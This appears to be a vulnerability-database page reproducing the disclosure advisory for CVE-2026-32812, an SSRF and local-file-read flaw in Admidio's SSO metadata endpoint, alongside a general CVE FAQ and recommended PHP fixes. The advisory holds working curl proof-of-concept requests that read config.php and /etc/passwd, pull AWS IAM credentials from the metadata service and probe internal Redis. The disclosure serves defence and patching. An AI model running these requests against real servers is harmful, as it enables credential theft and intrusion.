How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

328,925

Total vulnerabilities in the database

CVE-2026-32812

Summary

The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.

Details

Vulnerable Code

File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34

$url = filter_var($_GET[&#039;url&#039;], FILTER_VALIDATE_URL);
if (!$url) {
    http_response_code(400);
    echo &quot;Invalid URL&quot;;
    exit;
}

// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
    http_response_code(500);
    echo &quot;Failed to fetch metadata&quot;;
    exit;
}

echo $metadata;

FILTER_VALIDATE_URL Does Not Block Dangerous Schemes

PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():

| Scheme | Impact | |--------|--------| | file:///etc/passwd | Read any local file the web server process can access | | http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) | | http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) | | data://text/plain,payload | Data URI content injection |

Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:

php -r &quot;var_dump(filter_var(&#039;file:///etc/passwd&#039;, FILTER_VALIDATE_URL));&quot;
// string(18) &quot;file:///etc/passwd&quot;  &lt;-- passes validation

php -r &quot;echo file_get_contents(&#039;file:///etc/passwd&#039;);&quot;
// root:x:0:0:root:/root:/bin/bash  &lt;-- file contents returned

file:// Does Not Require allow_url_fopen

PHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.

Response Is Returned Verbatim

The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.

PoC

Prerequisites: Administrator account session cookie and CSRF token.

Step 1: Read the Admidio database configuration file

curl -G &quot;https://TARGET/adm_program/modules/sso/fetch_metadata.php&quot; \
  -H &quot;Cookie: ADMIDIO_SESSION_ID=&lt;admin_session&gt;&quot; \
  --data-urlencode &quot;url=file:///var/www/html/adm_my_files/config.php&quot;

Expected response: Full contents of config.php including the database host, username, and password in plaintext.

Step 2: Read system password file

curl -G &quot;https://TARGET/adm_program/modules/sso/fetch_metadata.php&quot; \
  -H &quot;Cookie: ADMIDIO_SESSION_ID=&lt;admin_session&gt;&quot; \
  --data-urlencode &quot;url=file:///etc/passwd&quot;

Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)

curl -G &quot;https://TARGET/adm_program/modules/sso/fetch_metadata.php&quot; \
  -H &quot;Cookie: ADMIDIO_SESSION_ID=&lt;admin_session&gt;&quot; \
  --data-urlencode &quot;url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;

Expected response: IAM role name followed by temporary AWS access key and secret.

Step 4: SSRF to an internal service on localhost

curl -G &quot;https://TARGET/adm_program/modules/sso/fetch_metadata.php&quot; \
  -H &quot;Cookie: ADMIDIO_SESSION_ID=&lt;admin_session&gt;&quot; \
  --data-urlencode &quot;url=http://127.0.0.1:6379/&quot;

(Probes a Redis instance on localhost.)

Impact

Local File Read: The attacker can read any file accessible to the PHP web server process, including Admidio's config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files.
Database Credential Theft: Reading config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.
Cloud Metadata Exposure: On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.
Internal Network Reconnaissance: The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.
Scope Change: Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.

Recommended Fix

Fix 1: Restrict to HTTPS scheme and block internal IP ranges

$rawUrl = $_GET[&#039;url&#039;] ?? &#039;&#039;;

// Only allow https:// scheme
if (\!preg_match(&#039;#^https://#i&#039;, $rawUrl)) {
    http_response_code(400);
    echo &quot;Only HTTPS URLs are permitted&quot;;
    exit;
}

$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
    http_response_code(400);
    echo &quot;Invalid URL&quot;;
    exit;
}

// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    http_response_code(400);
    echo &quot;URL resolves to a private or reserved IP address&quot;;
    exit;
}

$metadata = file_get_contents($url);

Fix 2: Use cURL with explicit scheme restriction

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);

Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

Published: Mar 16, 2026
Updated: Mar 17, 2026
CVE: CVE-2026-32812
GHSA: GHSA-6j68-gcc3-mq73
Severity: Medium
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

CWEs:

CWE-918

Affected Software
References

Software	From	Fixed in
admidio / admidio	5.0.0	5.0.7

https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.